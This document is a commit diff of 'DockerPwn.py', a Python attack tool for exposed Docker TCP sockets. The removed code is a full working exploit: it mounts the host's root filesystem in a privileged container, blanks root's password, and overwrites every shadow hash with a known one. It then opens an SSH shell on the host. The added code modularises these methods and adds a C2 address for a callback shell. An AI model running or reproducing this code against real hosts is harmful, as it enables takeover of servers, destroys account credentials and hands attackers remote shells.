11#/usr/bin/python3
22
33'''
4- Exploit for exposed Docker TCP Socket.
4+ Automation for abusing an exposed Docker TCP Socket.
55
6- This will automatically create a container on the Docker host with the root filesystem mounted,
7- allowing arbitrary read and write of the root filesystem (which is bad).
6+ This will automatically create a container on the Docker host with the host's root filesystem mounted,
7+ allowing arbitrary read and write of the host filesystem (which is bad).
88
9- Once created, the script will empty the password requirement for 'root', and will alter any user
10- with a valid Unix password to have a password of 'DockerPwn'
11-
12- Once this is done, the script will attempt to use Paramiko to login to all users enumerated from
13- /etc/passwd using the password 'DockerPwn', and a shell will be spawned.
14-
15- Roadmap:
16-
17- Utilize the limited command execution via Paramiko to get a better shell, and automatically escalate to root.
18-
19-
20- Usage:
21-
22- DockerPwn.py [-h] [--target TARGET] [--port PORT]
23-
24- optional arguments:
25- -h, --help show this help message and exit
26- --target TARGET IP of Docker Host
27- --port PORT Docker API TCP Port
9+ Once created, the script will employ the method of your choosing for obtaining a root shell. Currently,
10+ shadow and useradd are working, with the less destructive method 'useradd' being default.
2811
2912'''
30- import sys
31- import time
32- import paramiko
13+
3314import argparse
34- import socket
35- import json
36- import http .client
37- import re
15+ import sys
16+ import createContainer
17+ import shadowPwn
18+ import userPwn
19+ import chrootPwn
20+ import shellHandler
3821
3922def main ():
4023
4124 parser = argparse .ArgumentParser ()
4225 parser .add_argument ("--target" , help = "IP of Docker Host" , type = str )
4326 parser .add_argument ("--port" , help = "Docker API TCP Port" , type = int )
27+ parser .add_argument ("--image" , help = "Docker image to use. Default is Alpine Linux." , type = str )
28+ parser .add_argument ("--method" , help = "Method to use. Valid methods are shadow, chroot, useradd. Default is useradd." , type = str )
29+ parser .add_argument ("--c2" , help = "Local IP and port in [IP]:[PORT] format to receive the shell." , type = str )
4430 args = parser .parse_args ()
4531 target = args .target
4632 port = args .port
33+ image = args .image
34+ method = args .method
35+ c2 = args .c2
4736
4837 if target is not None and port is not None :
49- makeRequest (target , port )
50- else :
51- print ("[!] You must specify a target and port. Exiting." )
52- sys .exit (0 )
53-
54-
55- def makeRequest (target , port ):
56-
57- dockerConnection = http .client .HTTPConnection (target , port )
38+
39+ if image is None :
40+ image = 'alpine'
5841
59- headers = {
60- 'X-Requested-With' : 'DockerPwn.py' ,
61- 'Content-Type' : 'application/json' ,
62- }
63-
64- dockerConnection .request ('GET' , '/containers/json' )
65-
66- apiProbeResponse = dockerConnection .getresponse ()
42+ containerID = createContainer .create (target , port , image )
43+
44+ if method is None or method == 'useradd' :
45+ userPwn .attack (target , port , containerID , c2 )
46+ shellHandler .listen (c2 , method )
6747
48+ elif method == 'shadow' :
49+ shadowPwn .attack (target , port , containerID , c2 )
50+ shellHandler .listen (c2 , method )
6851
69- if apiProbeResponse .status == 200 :
70- print ('\n \n [+] Successfully probed the API. Writing out list of containers just in case there\' s something cool.\n ' )
71- f = open ("ContainerList.txt" , "w+" )
72- f .write (str (apiProbeResponse .read ()))
73- f .close ()
74- dockerConnection .close ()
52+ elif method == 'chroot' :
53+ chrootPwn .attack (target , port , containerID , c2 )
54+ shellHandler .listen (c2 , method )
7555 else :
76- print ('[-] API responded in unexpected way. Got ' + apiProbeResponse .status + ' ' + apiProbeResponse .reason )
77- dockerConnection .close ()
56+ print ("[!] You must specify a target and port. Exiting." )
7857 sys .exit (0 )
79-
80- try :
81-
82- print ("[+] Downloading latest Alpine Image for a lightweight pwning experience.\n " )
83-
84- dockerConnection .request ('POST' , '/images/create?fromImage=alpine&tag=latest' )
85- imageStatus = dockerConnection .getresponse ()
86-
87- if imageStatus .status == 200 :
88- print ("[+] Alpine image is downloading to the host. Hope we aren't setting off any alarms. Sleeping for a bit.\n " )
89- dockerConnection .close ()
90- timeout = time .time () + 60 * 4
91- while time .time () < timeout :
92- cursorWait = "\|/-\|/-"
93- for l in cursorWait :
94- sys .stdout .write (l )
95- sys .stdout .flush ()
96- sys .stdout .write ('\b ' )
97- time .sleep (0.2 )
98- else :
99- print ('[-] API refused to download Alpine Linux. Exiting.' )
100- dockerConnection .close ()
101- sys .exit (0 )
102-
103- print ("[+] Alright, creating Alpine Linux Container now...\n " )
104-
105- containerJSON = json .dumps ({
106- "Hostname" : "" ,
107- "Domainname" : "" ,
108- "User" : "" ,
109- "AttachStdin" : True ,
110- "AttachStdout" : True ,
111- "AttachStderr" : True ,
112- "Tty" : True ,
113- "OpenStdin" : True ,
114- "StdinOnce" : True ,
115- "Entrypoint" : "/bin/sh" ,
116- "Image" : "alpine" ,
117- "Volumes" : {"/host/" : {}},
118- "HostConfig" : {"Binds" : ["/:/host" ]},
119- })
120-
121- dockerConnection .request ('POST' , '/containers/create' , containerJSON , headers )
122- creationResponse = dockerConnection .getresponse ()
123-
124- if creationResponse .status == 201 :
125-
126- creationResponse = str (creationResponse .read ())
127- containerID = re .findall (r'[A-Fa-f0-9]{64}' , creationResponse )
128- print ('[+] Success! Created container with root volume mounted. Got ID ' + containerID [0 ] + '!\n ' )
129- dockerConnection .close ()
130- else :
131- print ('[-] API did not return a valid container ID, no container created.' )
132- dockerConnection .close ()
133- sys .exit (0 )
134-
135- print ('[+] Starting container ' + containerID [0 ] + '\n ' )
136- dockerConnection .request ('POST' , '/containers/' + containerID [0 ] + '/start' )
137- startResponse = dockerConnection .getresponse ()
138-
139- if startResponse .status == 204 :
140- print ('[+] Container successfully started. Blue team will be with you shortly.\n ' )
141- dockerConnection .close ()
142- else :
143- print ('[-] Container refused to start. Maybe try again. Insert shrug emoji here.\n ' )
144- dockerConnection .close ()
145- sys .exit (0 )
146-
147-
148- print ('[+] Phew, alright. Creating the EXEC to change passwords.\n ' )
149-
150-
151- execJSON = json .dumps ({
152- "AttachStdin" : True ,
153- "AttachStdout" : True ,
154- "AttachStderr" : True ,
155- "Cmd" : ["/bin/sh" , "-c" , "cat /host/etc/passwd | grep -oE '^[^:]+' | tr '\\ n' ' ' && sed -i 's/root:x:/root::/g' /host/etc/passwd && sed -i -e 's/:$6[^:]\+:/:$6$ilDk.19ZUBhQbxkA$6rv9s1sJcecVNwwW2V9uEl4QlJ\/V0d5JK\/lXAAdSUF7W3b2oGmp37I2qm.2iNGt.JXqKdoW4oGHaUSgABP5vA.:/' /host/etc/shadow" ],
156- "DetachKeys" : "ctrl-p,ctrl-q" ,
157- "Privileged" : True ,
158- "Tty" : True ,
159- })
160-
161- dockerConnection .request ('POST' , '/containers/' + containerID [0 ] + '/exec' , execJSON , headers )
162- execResponse = dockerConnection .getresponse ()
16358
164- if execResponse .status == 201 :
165- execResponse = str (execResponse .read ())
166- execID = re .findall (r'[A-Fa-f0-9]{64}' , execResponse )
167- print ('[+] EXEC successfully created on container! Got ID ' + execID [0 ] + '!\n ' )
168- dockerConnection .close ()
169- else :
170- print ('[-] EXEC creation failed. Maybe try again?\n ' )
171- dockerConnection .close ()
172- sys .exit (0 )
173-
174- print ('[+] Now triggering the EXEC to change passwords. Hope SSH is open...\n ' )
175-
176- triggerJSON = json .dumps ({
177- "Detach" : False ,
178- "Tty" : False
179- })
180-
181- dockerConnection .request ('POST' , '/exec/' + execID [0 ] + '/start' , triggerJSON , headers )
182- triggerResponse = dockerConnection .getresponse ()
183-
184- if triggerResponse .status == 200 :
185- print ('[+] EXEC successfully triggered. Printing users found in /etc/passwd.\n ' )
186- try :
187- triggerResponse = str (triggerResponse .read ())
188- triggerResponse = triggerResponse .split ('root' )[- 1 ]
189- userList = triggerResponse .split (' ' )
190- userList .insert (0 , 'root' )
191- userList .remove ('' )
192- userList .remove ('\' ' )
193- print ('[!] User List: ' + ' ' .join (userList ) + '\n ' )
194- except :
195- pass
196- dockerConnection .close ()
197- else :
198- print ('[-] EXEC job did not trigger. Maybe our ID was wrong?' )
199- sys .exit (0 )
200-
201- except Exception as e :
202- print (e )
203-
204- shellHandler (target , userList )
205-
206- def shellHandler (target , userList ):
207-
208- print ('[+] OK, looking good. Attempting to open shell as root. This may take a minute or two.\n ' )
209-
210- ssh = paramiko .SSHClient ()
211- ssh .set_missing_host_key_policy (paramiko .AutoAddPolicy ())
21259
213- for user in userList :
214- conn = 'null'
215- try :
216- conn = ssh .connect (target , 22 , user , "DockerPwn" )
217- except paramiko .AuthenticationException :
218- print ('[-] Login failed for ' + user )
219- ssh .close ()
220- if conn is None :
221- print ('[+] Login succeeded for ' + user + '!\n ' )
222- while True :
223- prompt_response = input ("DockerPwn@" + target + "> " )
224- stdin , stdout , stderr = ssh .exec_command (prompt_response , get_pty = True )
225- if stdout is not None :
226- formattedOut = str (stdout .readlines ())
227- formattedOut = formattedOut .replace ("[" , "" )
228- formattedOut = formattedOut .replace ("]" , "" )
229- formattedOut = formattedOut .replace ("'" , "" )
230- formattedOut = formattedOut .replace ("\\ r\\ n" , "" )
231- formattedOut = formattedOut .replace (" , " , " " )
232- print (formattedOut )
233- if stderr is not None :
234- formattedErr = str (stdout .readlines ())
235- formattedErr = formattedErr .replace ("[" , "" )
236- formattedErr = formattedErr .replace ("]" , "" )
237- formattedErr = formattedErr .replace ("'" , "" )
238- formattedErr = formattedErr .replace ("\\ r\\ n" , "" )
239- formattedErr = formattedErr .replace (" , " , " " )
240- print (formattedErr )
241-
242-
243-
244-
24560if __name__ == '__main__' :
246- main ()
61+ main ()
0 commit comments